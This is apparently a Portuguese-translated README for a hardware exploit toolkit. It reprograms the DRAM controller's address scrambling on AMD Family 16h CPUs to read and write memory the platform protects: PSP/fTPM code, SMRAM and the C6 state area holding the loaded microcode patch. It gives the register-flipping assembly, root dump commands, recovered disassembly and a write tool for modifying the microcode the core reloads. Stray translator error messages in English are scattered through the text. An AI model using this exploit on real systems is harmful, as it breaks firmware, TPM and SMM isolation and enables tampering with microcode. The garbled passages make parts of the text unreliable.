
Explora o embaralhamento de endereços do controlador DRAM para remapear memória física e acessar regiões protegidas pela CPU, incluindo PSP, SMM e microcódigo, em sistemas AMD Family 16h.
Desbloqueando tudo na CPU com embaralhamento de DRAM — PSP, C6, microcódigo, SMM e qualquer outra coisa que as especificações omitiram.
&x == &x.
Normalmente.

Cutuque o controlador de DRAM e é possível fazer um endereço aterrissar onde você
quiser na memória. skitter-creek-bath-salts alcança o nível mais profundo da
hierarquia de memória e reconecta as traduções físicas de endereços de DRAM,
para embaralhar a memória da plataforma e liberar seus segredos mais bem guardados — as
reservas especializadas invisíveis até mesmo para o kernel. Quando as traduções
quebram, as paredes construídas sobre elas desmoronam, e desbloqueamos tudo.
Desenvolvido e testado em CPUs AMD Family 16h, a última geração cujas
folhas de dados documentam os registradores de tradução do controlador de DRAM — e mostram que
eles não podem ser bloqueados. A 17h e posteriores simplesmente omitem essa informação. A
odisseia de *p é semelhante entre gerações e
arquiteturas, e as transformações subjacentes se estendem até mesmo a ARM, RISC-V e
além; skitter-creek-bath-salts nos mostra apenas como começar.
*pÉ uma longa descida.
A memória é construída sobre camadas de abstração tão profundas que se tornam quase absurdas. Quando
o seu código desreferencia *p, parece acessar a DRAM em p. Não é bem assim —
p é um endereço virtual e, antes que um único bit de DRAM seja tocado, ele precisa
sobreviver à provação abaixo:```
── CPU core / MMU ─────────────────────────────────────────────────
┌─ VA ← 64-bit virtual address from load/store
│
└> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47
┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE)
│
└> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest)
hit → physical address k │
miss → engage hardware page walker │
┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss
│ PML5[VA 56:48] ← only if CR4.LA57
│ PML4[VA 47:39]
│ PDPT[VA 38:30] ← 1 GiB leaf possible
│ PD [VA 29:21] ← 2 MiB leaf possible
│ PT [VA 20:12]
│ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
│
└> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk
privilege (U/S) │ ← CPL vs PTE.U/S
write (R/W) │ ← + CR0.WP
execute (NX) │ ← EFER.NXE
SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
protection keys │ ← PKRU (user) · IA32_PKRS (supervisor)
┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE
│
└> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked
EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override
⇒ ~5× walks per single guest walk │
┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs
│
│ ── IOMMU (chipset / I/O fabric) ──────────────────────────────────
│
└> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables
│
┌── physical address k <─────────────────┘
│
│ ── CPU core / MMU — memory-type resolution ────────────────────────
│
└> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs
┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ]
│
└> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC }
│
── CPU uncore — caches & coherence ────────────────────────────────
│
┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core
│
└> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX
┌─ LLC probe + directory consult <────────────┘ ← shared, sliced
│
└> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast
intra-socket │ ← broadcast to peer cores
inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache
home-node directory response │ ← data | intervention | abort
│
── system data fabric / interconnect ──────────────────────────────
│
┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn
│ → device BAR; done
│
└> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore
│
┏━━ ── MCT / IMC (memory controller) ────────────────────────────────
W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM
E ┃ │
┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges
┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel
A ┃ │
R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank
E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank
┃ │
┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable
H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line
E ┃ │ rank → CS map
R ┃ │
E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only
┗━━ │
│
DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)
Este projeto opera nos níveis mais profundos do pipeline `*p`, na camada MCT/DCT
— onde um endereço físico vindo do data fabric/interconnect entra no controlador
de memória e é reescrito uma última vez nas coordenadas brutas de DRAM que são
emitidas para o DIMM.
---
## Espaguetificando DRAM
> Endereços físicos são realmente mais uma sugestão.```nasm
xor dword [0xf80c2094], 0x00400000
Esse é o exploit. Tudo isso.
Uma inversão de bit no controlador de DRAM reconfigura toda a base do *p
pipeline, e os dados que estavam em &x agora estão em outro lugar em pleno voo.
De repente &x != &x. Cada mecanismo elaborado que a CPU, o firmware e o
uncore e o chipset usaram meticulosamente para isolar todas as regiões mais
protegidas da memória fica acima do controlador de memória, e é totalmente
alheio a qualquer coisa que aconteça abaixo dele. Todas as barreiras de memória existentes
guardam endereços físicos, não coordenadas de DRAM, e se você reorganizar as
coordenadas de DRAM, todas as barreiras da CPU e do data fabric acima delas são totalmente
alheias.
Mas reconfigurar a DRAM é fácil. O bit acima é o bank-swizzle-mode no DCT, e é apenas um entre dezenas que controlam os remapeamentos de endereço na camada final — tudo o que você precisa fazer é cutucá-los para fazer tudo o que foi construído por cima cair. A parte mais difícil então é manter a plataforma de pé enquanto a totalidade da memória do sistema é embaralhada sob ela.
O truque: seja rápido e não toque na DRAM. Desative as APs, prepare as TLBs, aqueça o cache, desative as interrupções, invalide o alvo, serialize os acessos à memória e espere que a CPU tenha pré-buscado as instruções seguintes. Então reconfigure o MCT/DCT para embaralhar a DRAM, pegue alguns dados da região protegida, reverta os mapeamentos, serialize novamente, habilite as interrupções, retome as APs e tudo volta ao normal, com o resto da plataforma totalmente ilesa.```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on
Com alguma configuração cuidadosa de paginação, estados de cache, threads e as TLBs, o embaralhamento de endereços pode ser feito funcionar a partir de C, para ilustrar o colapso do pipeline `*p`, e a visão corrompida da plataforma quando de repente `&x != &x`:

Então podemos religar o mapa e restaurá-lo sem deixar rastros. Tudo o que resta é saber no que o religamos.
---
## Desbloqueando *tudo*
> Toda região de memória protegida na plataforma, acessível com uma calculadora.
Com a abordagem acima, podemos reprogramar a transformação MCT/DCT em um sistema em execução — reorganizando o estágio mais baixo do pipeline `*p` para embaralhar a memória por baixo de toda proteção construída acima dele.
Mas há um desafio: embora possamos reprogramar a tradução com um simples `xor dword [0xf80c2094], 0x00400000`, não temos ideia de quais novas transformações o MCT/DCT usará (as folhas de dados são subespecificadas aqui — os mapas xor estão errados, o estágio subtrativo MMIO é desordenado, e os detalhes variam entre modelos). Sem isso, a memória é embaralhada, mas não temos como reconstruí-la.
Felizmente, a transformação de endereços do controlador DRAM é um mapa linear GF(2), o que significa que podemos reconstruir a memória embaralhada com álgebra linear básica.
Primeiro, considere o caso normal: a transformação direta da configuração MCT/DCT padrão é aplicada a algum endereço físico, que cai em um segredo na DRAM:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_firmware target secret
Esta é a visão coerente da memória: o estágio mais baixo do pipeline *p
opera exatamente como deveria.
Agora reconecte o estágio MCT/DCT de *p com xor dword [0xf80c2094], 0x00400000,
e a plataforma entra em uma visão embaralhada/espaguetificada da memória, onde uma
transformação diferente permite que um alias alcance o mesmo segredo da DRAM:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker alias secret
Este alias permite-nos alcançar o mesmo segredo sem passar pelos bloqueios
e defesas existentes na plataforma, construídos para a visão coerente. Para
encontrar o alias, componha o inverso do hash atacante/espaguetificado com o
forward do hash firmware/coerente, para obter a tradução que alcançará qualquer
segredo a partir da configuração maliciosa MCT/DCT:```
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
O único desafio é que as matrizes são desconhecidas, o que significa que não temos nenhuma ideia de como a memória é realmente embaralhada, e nenhuma transformação para usar a fim de alcançar o segredo em primeiro lugar:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias
Felizmente, neste ponto é apenas álgebra linear, e você poderia resolver as transformações manualmente, se quisesse. Ou: uma calculadora.
Usamos [z3](https://github.com/z3prover/z3). Primeiro, o solver SMT precisa de restrições para trabalhar.
Comece na visão coerente, modifique o MCT/DCT para alternar para a visão espaguetificada, coloque algum valor sentinela como `0xdeadc0de` em um endereço aleatório na memória, volte para a visão coerente e varra a memória procurando onde a sentinela reaparece. Isso fornece um par (alvo, alias) — um ponto de dados concreto mostrando dois endereços físicos que mapeiam para a mesma célula na DRAM. Repita o processo, reúna alguns dados, passe-os para o z3, e ele resolve a matriz de tradução necessária para converter entre as duas visões — qualquer endereço físico da visão coerente de um lado, seu alias na visão espaguetificada do outro:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker⁻¹ ∘ M_firmware target alias
Alimentar pares de aliases ao z3 um a um nos permite observar o solucionador SMT decifrar o embaralhamento de memória em tempo real, como mostrado na imagem de abertura.
A transformação resolvida é uma pedra de roseta, a chave para pegar qualquer endereço de destino na
visão coerente normal da memória e alcançar os mesmos dados na visão embaralhada
e espaguetizada. Para desbloquear a DRAM protegida, escolha um endereço que não podemos alcançar —
memória privada do PSP, SMRAM, o estado ocioso C6 — passe-o pela transformação
resolvida pelo z3 e obtenha um alias que alcançará o alvo na visão
espaguetizada, sem esbarrar nas barreiras, travas e verificações de segurança elaboradas que a
plataforma construiu para a visão coerente da memória. Reconfigure o DCT com xor dword [0xf80c2094], 0x00400000, leia ou escreva o alias, sua jornada pelo
pipeline *p contorna todas as barreiras pelo caminho, volte à visão coerente com um
segundo xor dword [0xf80c2094], 0x00400000, e
pronto — acesso irrestrito, a absolutamente qualquer coisa que a plataforma tenha escondido na
DRAM.

No final, tudo o que normalmente é tão cuidadosamente isolado — memória privada do PSP, SMRAM, o estado ocioso C6 — trancado e inacessível pelo SO e pelo ring-0 e às vezes até pela própria CPU, ainda está nos mesmos capacitores físicos na DRAM. Mas as travas, as barreiras e os muros foram construídos em torno da visão coerente da memória e não fazem nada contra os aliases espaguetizados que alcançam esses mesmos dados.
Mexa com o seu PSP, veja o que acontece.
O fTPM roda no próprio núcleo ARM do PSP, em uma região reservada de DRAM logo após o topo visível da memória. Alcance-o criando um alias de um endereço físico visível ao SO que aponte para ele, extraia os bytes e desmonte.```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin
(no input provided)```armasm
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4: b5f0 push {r4, r5, r6, r7, lr}
7f8019d6: b0e5 sub sp, #404
7f8019de: 2280 movs r2, #128 ; 1024-bit operand
7f8019e4: f7fe ffef bl 0x7f8009c6 ; import base (aA)
7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB)
7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself
7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22: f000 fef5 bl 0x7f802810 ; log error
7f801a2e: f001 e92a blx 0x7f802c84 ; export result
7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
Esse é o mecanismo RSA da PSP — o modexp por trás de cada assinatura fTPM e dos testes de Miller-Rabin que cunham suas chaves — extraído da memória que a PSP deveria possuir sozinha, isolado no controlador de memória, opaco até para o ring-0. Modifique como achar melhor.
Leia o que o SMM esconde.
O vetor de entrada do handler de SMI fica em SMBASE + 0x8000. SMBASE está no MSR 0xc0010111. Leia-o, puxe os bytes pelo mapa de aliases e canalize-os diretamente para um desmontador:```sh
./userspace/platform_check || exit 1
sudo modprobe msr
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 ))
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
The input is empty — no content was provided for chunk 23. Please supply the chunk text so it can be translated.```nasm
; SMI entry stub — the first thing a core executes when entering the
; ultra-privileged System Management Mode.
mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub
o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form)
mov eax,0x3 ; CR0.PE | CR0.MP
mov cr0,eax ; flip the core into protected mode
jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch
mov ax,0x18 ; GDT selector 0x18 -> flat data segment
mov ss,ax ; reload SS for protected mode
mov eax,0x6efe2ff8 ; SMM stack top
mov esp,eax ; install the SMM stack
o32 push byte +0x10 ; far-return frame: CS = code selector 0x10
mov ecx,0xc0010111 ; MSR SMM_BASE
rdmsr ; EAX = this core's SMBASE
mov ebx,eax ; stash SMBASE
add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry
push eax ; far-return frame: EIP = SMBASE+0x803a
retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper
Essas instruções rodam no anel -2, o contexto mais privilegiado da CPU, fora da memória que o chipset supostamente deveria tornar ilegível. O SMRAM "bloqueado" acaba sendo uma sugestão educada quando podemos falar diretamente com o controlador de DRAM.
Troque 2x4gb pelo prefixo em data/maps/ que corresponda aos seus
DIMMs instalados (sudo dmidecode -t memory). Se a sua topologia não estiver lá, execute
analysis/gather_aliases.py e depois analysis/unspaghettify.py para gerar
a sua própria.
Não tenho ideia do que há aqui e nunca vi isso ser discutido, provavelmente registradores internos da CPU. Divirta-se.
Quando os núcleos desligam por power-gating no estado C6, todo o contexto arquitetural x86 de cada um é guardado aqui para restauração.```sh ./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin
for c in 0 1 2 3; do printf 'core %d ' $c hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1 done
[No content provided in the INPUT section. Please paste the Markdown chunk you wish to have translated.]```text
core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set
core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
Um core com o bit BSP setado, três sem — o processador de boot e suas três APs, pegos em pleno idle com o estado de seus registradores exposto.
Quanto mais você explora, mais registradores de CPU você começa a encontrar:
Claro, esses registradores são todos acessíveis a partir do ring-0 de qualquer forma. A parte divertida está em todo o outro estado de CPU que fica ali — cutucando os registradores internos da CPU que o ring-0 não alcança.
O que poderia dar errado?
Quando um core entra em C6, sua RAM de patch de microcódigo — SRAM volátil — fica escura junto com o resto do core. Então o compartimento C6 mantém o patch carregado na DRAM e o re-semeia ao acordar. Essa cópia fica em +0x1800 em cada área de salvamento, e o alias a alcança como qualquer outro byte.
Pegue a cópia do microcódigo que a CPU guardou na DRAM isolada:```sh ./userspace/platform_check || exit 1 eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin
Compare-o com patches conhecidos:```sh
# did we find it?
python3 - <<'EOF'
ram = open("ucode_ram.bin", "rb").read()
chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12]
for fam in (15, 16, 17, 19):
uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read()
print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match")
EOF
Este é um bom sinal:```text fam15h: 0/94 chunks match fam16h: 68/94 chunks match <- the microcode the core is running fam17h: 0/94 chunks match fam19h: 0/94 chunks match
Extraia as tríades de ucode:```sh
od -Ax -tx1 -w20 ucode_ram.bin
I don't see any content in the INPUT section to translate. Please provide the actual chunk 37 content.```text 000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0
E aí está, uops distintos no topo, preenchimento NOP repetindo abaixo.
A partir daí, `dram_dump` tem uma ferramenta irmã, `dram_poke`. O mesmo alias que
leu o patch pode escrevê-lo — e esta cópia é a que o core recarrega
ao sair do idle.
O que você fizer a seguir depende da sua imaginação.
---
## Compilação```
make # builds kernel/spaghettify.ko and all userspace tools
make clean
Execute como root. Detalhes completos em USAGE.md.
dram_readLeitura simples de um endereço de memória protegido.
Aplique os flips --do-swizzle / --do-bankswap ao controlador DRAM para
entrar na visão de memória espaguetificada, leia um dword do endereço físico
<pa>, restaure os bits DCT e retorne o valor.```
dram_read
--pa
--do-swizzle <0|1>
--do-bankswap <0|1>
### `dram_poke`
Escreve em um intervalo de memória protegido.
